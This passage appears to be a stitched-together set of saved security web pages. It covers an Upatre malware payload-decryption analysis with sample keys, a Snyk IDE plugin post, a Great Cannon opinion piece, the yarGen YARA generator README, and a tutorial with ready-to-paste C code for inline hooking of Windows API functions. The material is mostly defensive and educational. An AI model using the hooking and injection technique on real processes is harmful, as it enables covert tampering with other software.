potential keys, which can easily be brute-forced.

Cracking the payload instead of retrieving the _decryption key_ from Upatre is
not only easier, but also often the only option. Upatre — at least in my
samples — does not have any persistence measures and might be long gone when
doing forensics. The downloaded payload, on the other hand, is always written
to Window’s Temp folder with the preconfigured _temp file_ name.

### The Script

I wrote a small script that tries the 7 combinations. For each combination,
the payload is decrypted. The script then checks whether the offsets to the
compressed data and unpacking script lie within the payload, and if the size
of the compressed data does not exceed the total payload size. If these sanity
checks pass, the compressed data is unpacked. If uncompressing is successful,
then the first two bytes are checked for the _“MZ”_ header, and if found, then
the decompressed is dumped to a file and the _decryption key_ and _check key_
are printed. Here’s and example run:

[code]

    $ python upatre_payload_decrypter.py a655_24.19.25.40__j11.zip.enc 
    testing potential keys
    key (with ksa = dec): f28ef287
    -> invalid offsets
    key (with ksa = rol): 2e51cf28
    key (with ksa = rol): 2e51df28
    -> invalid offsets
    key (with ksa = rol): 3e51cf28
    -> begins with MZ header, this is it!
    -> written decrypted exe to: decrypted_a655_24.19.25.40__j11.zip.enc
    -> decrypt_key: 3e51cf28
    -> ksa       : rol
    -> check_key : 74090789
    -> stub entry: 00000108
    -> compressed start: 00000420
    
[/code]

Decrypting the simplified format is harder, because there is no apparent known
plaintext. You can, however, run the script with option _-k_ to provide the
decryption key. You can also decompress the _check key_ -based encryption if
you provide the keys with _–key_ and _–check\_key_.

### Payloads in the Wild

Finally some payloads that I was able to download. All payloads were of the
Dyre / Dyzap family, and all payloads have been decrypted with the decryption
script.

#### Sample 0xbda3abd2

Upatre sample| bda3abd2f2a632873baee0fb78fd2813  
---|---  
payload format| regular  
decryption key| 523ea087  
ksa| left rotating  
check\_key| 2b2f8604  
payload hash| 0c4031194bc1e1f7f434bcc9e8032a00  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x95e79d9a

Upatre sample| 95e79d9abcc0735d3ce79d75c4cea1ae  
---|---  
payload format| regular  
decryption key| 71a588f1  
ksa| double decrementing  
check\_key| 4e1a87a9  
payload hash| 6cb4fb8ba84c451eb12a6da09bf175a5  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x457f0283

Upatre sample| 457f0283c17b00b29e335829f6a716fd  
---|---  
payload format| regular  
decryption key| 2B415B20  
ksa| left rotating  
check\_key| 64FDFF57  
payload hash| 512d6d894ccb1454530c1ee9751826d8  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x105beb32

Upatre sample| 105beb3223cbff3641cbe881bc4fbf45  
---|---  
payload format| regular  
decryption key| 3e51cf28  
ksa| left rotating  
check\_key| 74090789  
payload hash| 8c70899bdd7af6730730b167c59ca96a  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x8d00dfdc

Upatre sample| 8d00dfdc4d7932b8db5322ce439cd44b  
---|---  
payload format| regular  
decryption key| 3e51cf28  
ksa| left rotating  
check\_key| 74090789  
payload hash| a7d91f69110128ba88628c4f3886cd89  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x8d00dfdc

Upatre sample| 846cb6984114499978d4fe29b5f5afa7  
---|---  
payload format| regular  
decryption key| 5b244d31  
ksa| left rotating  
check\_key| 0250f3d8  
payload hash| b4b42f2fc627639d9c8e61df68a8085a  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x7422731b

Upatre sample| 7422731bbe817e85dbac70f3f98243b6  
---|---  
payload format| simplified  
decryption key| 27185cd3  
ksa| decrementing  
check\_key| \(no check key\)  
payload hash| 2e4576dcc0731dc07717f8e1913e3bf7  
payload malware| Dyre / Dyzap, Virustotal, Malwr  
#### Sample 0x07ea0d7c

Upatre sample| 07ea0d7c04af3520da43f38ef8211aa8  
---|---  
payload format| simplified  
decryption key| 55c28387  
ksa| decrementing  
check\_key| \(no check key\)  
payload hash| 50910945fd33606e8b91d077585b7c03  
payload malware| Dyre / Dyzap, Virustotal, Malwr

# Catching Vulnerabilities Instantly in Your IntelliJ IDEA Environment | IntelliJ IDEA Blog
**Created:**| _4/25/2019 6:36:43 AM_  
---|---  
**Updated:**| _4/25/2019 6:36:43 AM_  
**Author:**| __  
**Tags:**| _development-process ide_  
  

  

# Catching Vulnerabilities Instantly in Your IntelliJ IDEA Environment

Posted on  March 22, 2019 by Zlata Kalyuzhnaya

_This is a guest blog post from Brian Vermeer, Developer Advocate at Snyk_

Developers practically live in their integrated development environment
\(IDE\). An IDE like IntelliJ IDEA is in most cases an essential tool for
developers to help make development more productive and creative.

A recent survey run by Snyk revealed that 81% of respondents believe
developers should own the security responsibility of their applications.
However, many developers are unsure of where to start with security.

In reality, most companies still work with a dedicated security team, which
performs company-wide audits rather than integrating security responsibilities
as part of the core development team.

## DevSecOps: A modern approach to security

The DevSecOps approach helps development teams create code and be responsible
for its behavior in production. In addition, development teams also treat
security as part of their day-to-day work. Ideally, all team members should
have security expertise and share responsibility for security.

To test for security during the development process, there are basic tools and
tasks that developers should add to their ongoing responsibilities. During
application development, developers are always looking for libraries and
frameworks that can help achieve their goal. If a library can handle certain
boilerplate aspects, a developer can focus on the custom business logic.

The only problem is—what happens if a dependency is included in the pom file?
In many major enterprise applications, once a dependency is included in a pom
file, it stays in the file forever, even if the dependency is not used anymore
in the code. These unused dependencies are still available in your program and
might contain exploitable vulnerabilities. Overall, whether a dependency is
used or not, developers should verify whether it is safe to include in their
system.

## Shifting security left

It’s important that we shift security testing for vulnerable dependencies from
right to left. In so doing, our testing would occur before we even commit our
code to our project repository. Developers should check whether a dependency
version is safe to include when it is first introduced, in addition to the
checks that developers run prior to production. By scanning dependencies when
first added to the codebase, we eliminate the unnecessary code reworking that
otherwise might be necessary when upgrading to a newer version. Upgrading a
dependency, as we all know, may require code alterations. So the fastest and
most efficient approach is to avoid adding vulnerable dependencies in your
projects by scanning your dependencies at the very moment you add them.

## Testing your dependencies with Snyk

At Snyk we can provide you with tools to scan your project for vulnerable
dependencies. We match your dependencies against our own proprietary
vulnerability database, which includes all the “Common Vulnerabilities and
Exposures” \(CVE\) list, and much more. Our security team enriches the Snyk
vulnerability database with many more vulnerable dependencies that do not have
associated CVE entries, but can cause just as much harm to your system.

If you like command line tools, install the Snyk CLI locally to run snyk\_test
from your terminal window. Use the CLI from within IntelliJ IDEA or from a
separate terminal. This provides you with all the information you need about
security vulnerabilities in your dependencies. But if you’d prefer a fully
integrated solution into your IDE, we’ve got you covered.

## The Snyk IntelliJ IDEA plugin

According to the 2018 JVM Ecosystem survey, IntelliJ IDEA is the most-used IDE
in the Java community, with 45% of respondents stating that they use IntelliJ
IDEA.

Snyk offers an integrated plugin that works on both the IntelliJ IDEA
community and paid offerings. This plugin scans your Maven dependencies for
vulnerabilities while you code. No need to use the terminal anymore.

Installing the plugin is easy. Go to Preferences > Plugins and search for
“Snyk”. The Snyk Vulnerability Scanning plugin pops up from that view. Follow
the instructions and you are good to go.

<img src='img/1940_image1.png' width='1072' height='444' />

The Snyk plugin is located as a tab in the bottom right-hand corner of your
screen. Refresh your Maven dependencies to run the scan and see if you have
vulnerable dependencies.

If there are vulnerabilities, click **details** to view the Snyk vulnerability
page. This page provides more insight into the nature of the issue and
displays the severity score.

<img src='img/1946_image4.png' width='750' height='566' />

<img src='img/1941_image5.png' width='750' height='449' />

Even more impressive is when you have a transitive dependency with a
vulnerability. The plugin displays the full dependency tree step by step,
including the direct dependency and the vulnerable transitive dependency.

<img src='img/1943_image2.png' width='750' height='216' />

Click the vulnerability to automatically jump to the pom file dependency
declaration. This can be extremely useful when your pom file has a lot of
dependencies. Now you can either choose to upgrade the direct dependency or
exclude the vulnerable transitive dependency.

The Snyk plugin also provides a suggested upgrade if one is available. This is
shown in green. The version is not necessarily the newest version of that
dependency but is the first available version that solves the specific
vulnerability. When clicking on the green remediation advice, the recommended
dependency tree up to the specific fixed transitive dependency is displayed.

<img src='img/1945_image3.png' width='750' height='772' />

Plugins for PMD, checkstyle and findbugs help you write better code. Use the
Snyk plugin to instantly see if a dependency you introduced has one or more
vulnerabilities.

The Snyk plugin for IntelliJ IDEA is a powerful addition that helps you to
avoid using vulnerable dependencies. With Snyk, you can write better, more
secure software, without leaving your favorite IDE.

<img src='img/blog_footer_800x155@2x.png' width='800' height='155' />

<img src='img/4150d5a64b7b0115127b062df41a6515' width='60' height='60' />

## About Zlata Kalyuzhnaya

IntelliJ IDEA Marketing Manager at JetBrains. twitter: @ZlataKalyuzhnay ‏

View all posts by Zlata Kalyuzhnaya →

This entry was posted in Guest Post and tagged snyk. Bookmark the permalink.

# The GitHub attack and internet self-defense - Skating on Stilts

**Created:**| _8/19/2015 1:04:23 PM_  
---|---  
**Updated:**| _8/19/2015 1:04:23 PM_  
**Author:**| __  
**Tags:**| __  
  

### The GitHub attack and internet self-defense

In an earlier post I talked about how the Chinese government has used its
“Great Firewall” censorship machinery on an expanded list of targets – from
its own citizens to ordinary Americans who happen to visit internet sites in
China. By intercepting the ad and analytics scripts that Americans downloaded
from Chinese sites, the Chinese government was able to infect the Americans’
machines with malware. Then the government used that malware to create a
“Great Cannon” that aimed a massive number of packets at the US company
Github. The goal was to force the company to stop making news sites like the
New York Times and Greatfire.org available to Chinese citizens. The Great
Cannon violated a host of US criminal laws, from computer fraud to extortion.
The victims included hundreds of thousands of Americans. And to judge from a
persuasive Citizen Lab report, China’s responsibility was undeniable. Yet the
US government has so far done nothing about it.

US inaction is thus setting a new norm for cyberspace. In the future, it means
that many more Americans can expect to be attacked in their homes and offices
by foreign governments who don’t like their views.

The US government should be ashamed of its acquiescence. Especially because
the Great Cannon is surprisingly vulnerable. After all, it only works if
foreigners continue to visit Chinese sites and continue to download scripts
from Chinese ad networks. They supply the ammunition that the Great Cannon
fires. If no one from outside China visits Chinese search sites or loads
Chinese ads, the Cannon can’t shoot.

That shines a spotlight on the limited number of Chinese sites with broad
appeal outside China. Baidu one of them. It’s the fourth most popular site in
the world – the Google of China, and a popular search engine for many Chinese
speakers outside China. Like Google, it makes a great deal of its money from
advertising. It supplies ads \(and the javascript that runs the ads\) to a
host of Chinese-language sites. The first time China used its Great Cannon, in
fact, it relied heavily on the popularity of Baidu. As Citizen Lab put it,
China “intercepted traffic sent to Baidu infrastructure servers that host
commonly used analytics, social, or advertising scripts” and “sent a malicious
script back to the requesting user” about 2% of the time.

At the time of the attack on GitHub, Baidu denied any involvement and said
that its own internal security hadn't been compromised: “After careful
inspection by Baidu’s security engineers, we have ruled out the possibility of
security problems or hacker attacks on our own products,” the company said.
That may well be true. It looks as though the Chinese government injected
malware into a stream of Baidu packets after the packets left Baidu's
premises. But if Baidu investigated the attack carefully by logging on to its
site from the United States, it seems likely that it could have figured out
the source of the attack, just as Citizen Lab did. Since its denial of a
security problem on its own network, Baidu has apparently stayed silent \(the
company didn’t respond to my request for comment\).

Whatever it knew at the time, Baidu's sites were the key to the attack. They
drew the foreign traffic that made the attack possible. And it’s quite
possible that the Great Cannon could be spiked if Americans and other
foreigners simply stopped going to Baidu and its affiliated sites. The Cannon
would certainly fail if foreigners refused to visit any site inside the Great
Firewall. Which, frankly, would only be prudent, since we now know that China
can add malware to any javascript leaving its borders.

So protecting Americans from malware and depriving the Great Cannon of ammo
both begin with the same step. We need to let Americans know that every time
they visit a site inside China they are exposing others to attack and
themselves to malware. Venturing inside the Great Firewall is both antisocial
and dangerous – sort of like littering, if littering also caused cancer. A lot
of internet users will want to avoid that risk, or at least minimize it. All
they need is a good way to warn them away from dangerous sites.

The experts I’ve consulted think it’s actually pretty easy to identify sites
that are inside the Great Firewall. If so, it shouldn’t be hard to write a
browser extension that would warn users every time they click on a site that
sits on the wrong side of China’s attack infrastructure. The extension could
even be programmed to offer outside-China alternatives to risky sites. There
are plenty of Chinese-language search engines and ad networks that aren’t
inside the Great Firewall. \(You might have heard of them: the big ones are
Chinese-language versions of Google, Yahoo\! and Bing.\)

Ok, so this is where I turn from blogging to blegging. I’d welcome tech-savvy
volunteers who’d like to do a proof-of-concept browser extension that provides
this service to uneasy users. It shouldn’t be that hard. We’re talking about a
combination of Noscript and Adblock \(or, maybe, Catblock, a charming
extension that turns all that evil javascript into entertaining pictures of,
what else, cats\).

The irony is that this might not hurt the browsing experience. If a site in
Taiwan is getting its analytics and its ads from Baidu, there’s a good chance
that the extension I’m proposing would block the bandwidth-wasting ads and
analytics as well as China’s malware -- while still delivering the Taiwanese
content. Now that’s a win-win.

Well, for everyone except for Baidu and the Chinese ad networks. They’ll lose
clicks and views and customers abroad, not to mention revenue. But, really,
isn’t that another win? It means that the bill for China’s breathtaking
aggression will be paid by China’s own internet companies. That’s as close to
justice as it gets. If Baidu figured out what was happening to its customers
back in March, it did nothing for them and said nothing to them. If Google or
Facebook or Twitter had breached their customers’ trust in that way, they
would be paying for it for years. Indeed, they’d be punished just for allowing
their government to do something like that. \(In fact, the New York Times and
Pro Publica just published a piece that is only newsworthy if you believe that
AT&T should be punished for helping the US government collect intelligence.\)

This time, though, the shoe’s on China’s foot, and those who’ve been trying to
make the U.S. tech sector pay for NSA’s sins should have the courage to say
the same about China and its far more egregious abuse of both the internet and
human rights.

It would be satisfying if the internet achieved this goal on its own, without
government, by writing and spreading code that ostracized the Chinese enablers
of the Great Cannon. It would be equally satisfying if the big browser makers
– or the principal US ISPs – offered a standard “Do you really want to go
there?” warning to their customers before allowing them to cross the Great
Firewall.

A successful voluntary response to the attack on Github would cast a cold
light on the US government security cops that have been wasting their time
protecting Americans from far smaller dangers. Take the Federal Trade
Commission, which demanded a twenty-year consent decree from Twitter on the
ground that the company “deceived consumers and put their privacy at risk by
failing to safeguard their personal information.” How did it do that?
According the FTC, the company failed to ensure that its employees used unique
passwords on every website they joined, and this failure contributed to a
compromise of customer security. If that’s a violation of the FTC Act, how can
the FTC fail to even investigate Baidu and its ad providers for failing to
warn their customers about an ongoing injection of malware? Or take the FCC
and the much-touted cybersecurity role of its Public Safety Bureau. It’s been
pursuing voluntary security measures with ISPs for years, but somehow the
Great Cannon hasn’t even come up? Or take DHS, so full of enthusiasm for
information sharing about cybersecurity risks; yet as far as I can see, it has
never identified the malware risk of visiting Chinese sites.

Those agencies should all be ashamed of their inaction, and we should continue
to shame them, not just with words but with code. So if you’d like to join me
in building a tool to spike the Great Cannon, please send email to
spike.the.great.cannon@gmail.com.

Posted at 08:52 AM  | Permalink

# Neo23x0/yarGen

**Created:**| _6/29/2017 4:08:23 PM_  
---|---  
**Updated:**| _6/29/2017 4:08:23 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# yarGen

[code]

                         ______
       __  ______ ______/ ____/__  ____
      / / / / __ `/ ___/ / __/ _ \/ __ \
     / /_/ / /_/ / /  / /_/ /  __/ / / /
     \__, /\__,_/_/   \____/\___/_/ /_/
    /____/
    
    Yara Rule Generator
    by Florian Roth
    February 2017
    Version 0.17.0
    
[/code]

### What does yarGen do?

yarGen is a generator for YARA rules

The main principle is the creation of yara rules from strings found in malware
files while removing all strings that also appear in goodware files. Therefore
yarGen includes a big goodware strings and opcode database as ZIP archives
that have to be extracted before the first use.

Since version 0.12.0 yarGen does not completely remove the goodware strings
from the analysis process but includes them with a very low score depending on
the number of occurences in goodware samples. The rules will be included if no
better strings can be found and marked with a comment /\* Goodware rule \*/.
Force yarGen to remvoe all goodware strings with --excludegood. Also since
version 0.12.0 yarGen allows to place the "strings.xml" from PEstudio in the
program directory in order to apply the blacklist definition during the string
analysis process. You'll get better results.

Since version 0.14.0 it uses naive-bayes-classifier by Mustafa Atik and Nejdet
Yucesoy in order to classify the string and detect useful words instead of
compression/encryption garbage.

Since version 0.15.0 yarGen supports opcode elements extracted from the .text
sections of PE files. During database creation it splits the .text sections
with the regex \[\x00\]\{3,\} and takes the first 16 bytes of each part to
build an opcode database from goodware PE files. During rule creation on
sample files it compares the goodware opcodes with the opcodes extracted from
the malware samples and removes all opcodes that also appear in the goodware
database. \(there is no further magic in it yet - no XOR loop detection etc.\)
The option to activate opcode integration is '--opcodes'.

Since version 0.16.0 yarGen supports the Binarly. Binarly is a "binary search
engine" that can search arbitrary byte patterns through the contents of tens
of millions of samples, instantly. It allows you to quickly get answers to
questions like “What other files contain this code/string?” or “Can this
code/string be found in clean applications or malware samples?”. This means
that you can use Binarly to quickly verify the quality of your YARA strings.
Furthermore, Binarly has a YARA file search functionality, which you can use
to scan their entire collection \(currently at 7.5+ Million PE files, 3.5M
clean - over 6TB\) with your rule in a less than a minute. For yarGen I
integrated their public API. In order to be able to use it you just need an
API key that you can get for free if you contact them at contact@binar.ly. The
option to activate binarly lookups is '--binarly'.

Since version 0.17.0 yarGen allows creating multiple databases for opcodes and
strings. You can now easily create a new database by using "-c" and an
identifier "-i identifier" e.g. "office". It will then create two new database
files named "good-strings-office.db" and "good-opcodes-office.db" that will be
initialized during startup with the built-in databases.

The rule generation process also tries to identify similarities between the
files that get analyzed and then combines the strings to so called "super
rules". Up to now the super rule generation does not remove the simple rule
for the files that have been combined in a single super rule. This means that
there is some redundancy when super rules are created. You can supress a
simple rule for a file that was already covered by super rule by using
--nosimple.

### Installation

  1. Make sure you have at least 4GB of RAM on the machine you plan to use yarGen \(6GB if opcodes are included in rule generation, use with --opcodes\)
  2. Download the latest release from the "release" section
  3. Install all dependancies with ` sudo pip install scandir lxml naiveBayesClassifier pefile ` \(@twpDone reported that in case of errors try ` sudo pip install pefile ` and ` sudo pip install scandir lxml naiveBayesClassifier `\)
  4. Clone and install Binarly-SDK and install it with ` python ./setup.py install `
  5. Run python ` yarGen.py --update ` to automatically download the built-in databases or download them manuall from here and place them in a new './dbs' sub folder
  6. See help with ` python yarGen.py --help ` for more information on the command line parameters

### Memory Requirements

Warning: yarGen pulls the whole goodstring database to memory and uses at
least 4 GB of memory for a few seconds - 6 GB if opcodes evaluation is used.

I've already tried to migrate the database to sqlite but the numerous string
comparisons and lookups made the analysis inacceptably slow.

# Multiple Database Support

yarGen allows creating multiple databases for opcodes or strings. You can
easily create a new database by using "-c" for new database creation and "-i
identifier" to give the new database a unique identifier as e.g. "office". It
will the create two new database files named "good-strings-office.db" and
"good-opcodes-office.db" that will from then on be initialized during startup
with the built-in databases.

### Example

Create a new strings and opcodes database from an Office 2013 program
directory:

[code]

    yarGen.py -c --opcodes -i office -g /opt/packs/office2013
    
[/code]

The analysis and string extraction process will create the following new
databases in the "./dbs" sub folder.

[code]

    good-strings-office.db
    good-opcodes-office.db
    
[/code]

The values from these new databases will be automatically applied during the
rule creation process because all \*.db files in the sub folder "./dbs" will
be initialized during startup.

You can update the once created databases with the "-u" parameter

[code]

    yarGen.py -u --opcodes -i office -g /opt/packs/office365
    
[/code]

This would update the "office" databases with new strings extracted from files
in the given directory.

## Binarly

In order to use the Binarly lookup, you need an API key placed in a file named
` apikey.txt ` in the ` ./config ` subfolder.

Request an Binarly API key by mail to: contact@binar.ly

### Offline

Feb 2017: The Binarly API service is currently offline. There will be a
replacement in the near future which will then be supported by yarGen.

## Command Line Parameters

[code]

    usage: yarGen.py [-h] [-m M] [-l min-size] [-z min-score] [-x high-scoring]
                     [-s max-size] [-rc maxstrings] [--excludegood]
                     [-o output_rule_file] [-a author] [-r ref] [-p prefix]
                     [--score] [--nosimple] [--nomagic] [--nofilesize] [-fm FM]
                     [--globalrule] [--nosuper] [-g G] [-u] [-c] [-i I] [--nr]
                     [--oe] [-fs size-in-MB] [--debug] [--opcodes] [-n opcode-num]
                     [--binarly]
    
    yarGen
    
    optional arguments:
      -h, --help           show this help message and exit
    
    Rule Creation:
      -m M                 Path to scan for malware
      -l min-size          Minimum string length to consider (default=8)
      -z min-score         Minimum score to consider (default=5)
      -x high-scoring      Score required to set string as 'highly specific
                           string' (default: 30, +10 with binarly)
      -s max-size          Maximum length to consider (default=128)
      -rc maxstrings       Maximum number of strings per rule (default=20,
                           intelligent filtering will be applied)
      --excludegood        Force the exclude all goodware strings
    
    Rule Output:
      -o output_rule_file  Output rule file
      -a author            Author Name
      -r ref               Reference
      -p prefix            Prefix for the rule description
      --score              Show the string scores as comments in the rules
      --nosimple           Skip simple rule creation for files included in super
                           rules
      --nomagic            Don't include the magic header condition statement
      --nofilesize         Don't include the filesize condition statement
      -fm FM               Multiplier for the maximum 'filesize' condition value
                           (default: 3)
      --globalrule         Create global rules (improved rule set speed)
      --nosuper            Don't try to create super rules that match against
                           various files
    
    Database Operations:
      -g G                 Path to scan for goodware (dont use the database
                           shipped with yaraGen)
      -u                   Update local standard goodware database (use with -g)
      -c                   Create new local goodware database (use with -g and
                           optionally -i "identifier")
      -i I                 Specify an identifier for the newly created databases
                           (good-strings-identifier.db, good-opcodes-
                           identifier.db)
    
    General Options:
      --nr                 Do not recursively scan directories
      --oe                 Only scan executable extensions EXE, DLL, ASP, JSP,
                           PHP, BIN, INFECTED
      -fs size-in-MB       Max file size in MB to analyze (default=10)
      --debug              Debug output
    
    Other Features:
      --opcodes            Do use the OpCode feature (use this if not enough high
                           scoring strings can be found)
      -n opcode-num        Number of opcodes to add if not enough high scoring
                           string could be found (default=3)
      --binarly            Use binarly to lookup string statistics
    
[/code]

## Best Practice

See the following blog posts for a more detailed description on how to use
yarGen for YARA rule creation:

How to Write Simple but Sound Yara Rules - Part 1

How to Write Simple but Sound Yara Rules - Part 2

How to Write Simple but Sound Yara Rules - Part 3

## Screenshots

<img src='img/yargen-running.png' width='697' height='579' alt='Generator Run'
/>

<img src='img/output-rule-0.14.1.png' width='722' height='551' alt='Output
Rule' />

As you can see in the screenshot above you'll get a rule that contains
strings, which are not found in the goodware strings database.

You should clean up the rules afterwards. In the example above, remove the
strings $s14, $s17, $s19, $s20 that look like random code to get a cleaner
rule that is more likely to match on other samples of the same family.

To get a more generic rule, remove string $s5, which is very specific for this
compiled executable.

## Examples

### Use the shipped database \(FAST\) to create some rules

` python yarGen.py -m X:\MAL\Case1401 `

Use the shipped database of goodware strings and scan the malware directory
"X:\MAL" recursively. Create rules for all files included in this directory
and below. A file named 'yargen\_rules.yar' will be generated in the current
directory.

### Show the score of the strings as comment

yarGen will by default use the top 20 strings based on their score. To see how
a certain string in the rule scored, use the "--score" parameter.

` python yarGen.py --score -m X:\MAL\Case1401 `

### Use only strings with a certain minimum score

In order to use only strings for your rules that match a certain minimum score
use the "-z" parameter. It is a good pratice to first create rules with "--
score" and than perform a second run with a minimum score set for you sample
set via "-z".

` python yarGen.py --score -z 5 -m X:\MAL\Case1401 `

### Preset author and reference

` python yarGen.py -a "Florian Roth" -r "http://goo.gl/c2qgFx" -m
/opt/mal/case_441 -o case441.yar `

### Add opcodes to the rules

` python yarGen.py --opcodes -a "Florian Roth" -r "http://goo.gl/c2qgFx" -m
/opt/mal/case33 -o rules33.yar `

### Exclude all strings from Goodware samples

` python yarGen.py --excludegood -m /opt/mal/case_441 `

### Supress simple rule if alreay covered by a super rules

` python yarGen.py --nosimple -m /opt/mal/case_441 `

### Show debugging output

` python yarGen.py --debug -m /opt/mal/case_441 `

### Create a new goodware strings database

` python yarGen.py -c --opcodes -g /home/user/Downloads/office2013 -i office `

This will generate two new databases for strings and opcodes named:

  * good-strings-office.db
  * good-opcodes-office.db

The new databases will automatically be initialized during startup and are
from then on used for rule generation.

### Update a goodware strings database \(append new strings to the old ones\)

` python yarGen.py -u -g /home/user/Downloads/office365 -i office `

### My Best Pratice Command Line

` python yarGen.py --opcodes -a "Florian Roth" -r "Internal Reserahc" -m
/opt/mal/apt_case_32 -o rules32.yar `

  

# Rebooting the CS Publication Process

**Created:**| _6/20/2010 10:18:13 PM_  
---|---  
**Updated:**| _6/20/2010 10:18:47 PM_  
**Author:**| __  
**Tags:**| _conference-material security people_  
  
<img src='img/Temp2_6784' />

# Hotpatching and Inline Function Hooking Explained | LastFrag.com
**Created:**| _7/29/2012 2:16:32 PM_  
---|---  
**Updated:**| _7/29/2012 2:16:32 PM_  
**Author:**| __  
**Tags:**| _Debugging windows environment hooks_  
  

LastFrag.comDrag n' Drop Programming

  * About

# Hotpatching and Inline Function Hooking Explained

Posted on July 27, 2012 by Ben

##### ** Warning: The post initially contains wrong information. Continue to
“Mistakes and Truths” for the correct information.**

### **The Function Preamble**

After Windows XP S2, Microsoft change the function calls preamble to allow
hotpatching. This is the disassembly of MessageBoxW\(\) and the preamble is
like so:

<img src='img/functionpreamble.png' width='346' height='161' />

The red border is the function preamble. Typical of all Windows APIs after XP
S2.

123| `mov edi, edi``push ebp``mov ebp, esp`  
---|---  
### **  
  
Why this matters**

The far jump instruction is 5 bytes. It just so happens that the move
instruction is 2 bytes and the push instruction is 1 byte – all totaling 5
bytes. We can replace the preamble with a jump.

From this:

12345| `mov edi, edi``push ebp``mov ebp, esp``push -1``push 0`  
---|---  
To this:  
  

<img src='img/functionpreamblehooked.png' width='342' height='142' />

123| `jmp 009C1249``push -1``push 0`  
---|---  
The jump allows us to hook, intercept, the function call. Any variables push
on the stack, we can play with to our hearts desire and we can also modify the
function’s return.

### **  
  
Good Shit. So How to Hook?**

To inline hook the function in our target application we must:

0\) Hooking code must already be running in the target application.

  * Unless the hook was already compiled in the application, we must inject our code. DLL injection is the most common way. I prefer to rebase the .reloc table of my injector. This will be discussed later in another post

The hooking:

1\) Get the address of the function to hook.

12| `HMODULE` `hModule = LoadLibrary(Module);``DWORD` `OriginalAddress =
(``DWORD``)GetProcAddress(hModule, API);`  
---|---  
2\) Get the address of the replacement function. Just cast your function to a
DWORD.

1| `DWORD` `ReplacementAddress = (``DWORD``)Function;`  
---|---  
3\) Get the replace address offset by calculating the replacement address
minus the original address minus the preamble size.

1| `DWORD` `ReplacementAddressOffset = ReplacementAddress - OriginalAddress -
5;`  
---|---  
4\) Use the char\* hack. In case you didn’t know, LPBYTE = BYTE\*, and a BYTE
= unsigned char. We cast the address to LPBYTE so we can modify the values of
each address.

12| `LPBYTE` `pOriginalAddress = (``LPBYTE``)OriginalAddress;``LPBYTE`
`pReplacementAddressOffset = (``LPBYTE``)(&ReplacementAddressOffset);`  
---|---  
5\) Use VirtualProtect\(\) with the PAGE\_EXECUTE\_READWRITE flag to write to
the preamble location in memory.

123| `DWORD` `OldProtect = 0;``DWORD` `NewProtect =
PAGE_EXECUTE_READWRITE;``VirtualProtect((``PVOID``)OriginalAddress, 5,
NewProtect, &OldProtect);`  
---|---  
6\) Copy the preamble in an array for unhooking later.

12| `for` `(``int` `i = 0; i < 5; i++)`` ``Store[i] = pOriginalAddress[i];`  
---|---  
7\) Replace the preamble with a jump and the replacement function address.
0xE9 = JMP.

123| `pOriginalAddress[0] = (``BYTE``)0xE9;``for` `(``int` `i = 0; i < 4;
i++)`` ``pOriginalAddress[i + 1] = pReplacementAddressOffset[i];`  
---|---  
8\) Set VirtualProtect back to its original value.

1| `VirtualProtect((``PVOID``)OriginalAddress, 5, OldProtect, &NewProtect);`  
---|---  
9\) Flush the instruction cache for safe measures in case the CPU cached old
instructions.

1| `FlushInstructionCache(GetCurrentProcess(), NULL, NULL);`  
---|---  
### **  
  
Copy and Paste Ready? Of course**\!

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051|
`BYTE` `Store[6] =` `""``;` `void` `HookAPI(``wchar_t` `*Module,` `char`
`*API,` `DWORD` `Function)``{`` ``HMODULE` `hModule = LoadLibrary(Module);` `
``DWORD` `OriginalAddress = (``DWORD``)GetProcAddress(hModule, API);``
``DWORD` `ReplacementAddress = (``DWORD``)Function;`` ``DWORD`
`ReplacementAddressOffset = ReplacementAddress - OriginalAddress - 5;` `
``LPBYTE` `pOriginalAddress = (``LPBYTE``)OriginalAddress;`` ``LPBYTE`
`pReplacementAddressOffset = (``LPBYTE``)(&ReplacementAddressOffset);` `
``DWORD` `OldProtect = 0;`` ``DWORD` `NewProtect = PAGE_EXECUTE_READWRITE;` `
``VirtualProtect((``PVOID``)OriginalAddress, 5, NewProtect, &OldProtect);` `
``for` `(``int` `i = 0; i < 5; i++)`` ``Store[i] = pOriginalAddress[i];` `
``pOriginalAddress[0] = (``BYTE``)0xE9;`` ``for` `(``int` `i = 0; i < 4;
i++)`` ``pOriginalAddress[i + 1] = pReplacementAddressOffset[i];` `
``VirtualProtect((``PVOID``)OriginalAddress, 5, OldProtect, &NewProtect);` `
``FlushInstructionCache(GetCurrentProcess(), NULL, NULL);` `
``FreeLibrary(hModule);``}` `void` `UnHookAPI(``wchar_t` `*Module,` `char`
`*API)``{`` ``HMODULE` `hModule = LoadLibrary(Module);`` ``DWORD`
`OriginalAddress = (``DWORD``)GetProcAddress(hModule, API);`` ``LPBYTE`
`pOriginalAddress = (``LPBYTE``)OriginalAddress;` ` ``DWORD` `OldProtect =
0;`` ``DWORD` `NewProtect = PAGE_EXECUTE_READWRITE;``
``VirtualProtect((``PVOID``)pOriginalAddress, 5, NewProtect, &OldProtect);` `
``for` `(``int` `i = 0; i < 5; i++)`` ``pOriginalAddress[i] = Store[i];` `
``VirtualProtect((``PVOID``)OriginalAddress, 5, OldProtect, &NewProtect);` `
``FlushInstructionCache(GetCurrentProcess(), NULL, NULL);` `
``FreeLibrary(hModule);``}`  
---|---  
###

### **  
  
I went full retard. How do I use?**

First make sure the code is injected and running in its own thread.

Here is a hooking example:

1234567891011121314151617| `int` `HookedMessageBoxW(``HWND` `hWnd,` `LPCWSTR`
`lpText,` `LPCWSTR` `lpCaption,` `UINT` `uType)``{``
``UnHookAPI(L``"user32.dll"``,` `"MessageBoxW"``);` ` ``int` `ret =
MessageBoxW(hWnd, L``"Hooked"``, lpCaption, uType);` `
``HookAPI(L``"user32.dll"``,` `"MessageBoxW"``,
(``DWORD``)HookedMessageBoxW);` ` ``return` `ret;``}` `DWORD` `WINAPI
ThreadProc(``LPVOID` `param)``{`` ``HookAPI(L``"user32.dll"``,`
`"MessageBoxW"``, (``DWORD``)HookedMessageBoxW);` ` ``return` `0;``}`  
---|---  
### **  
  
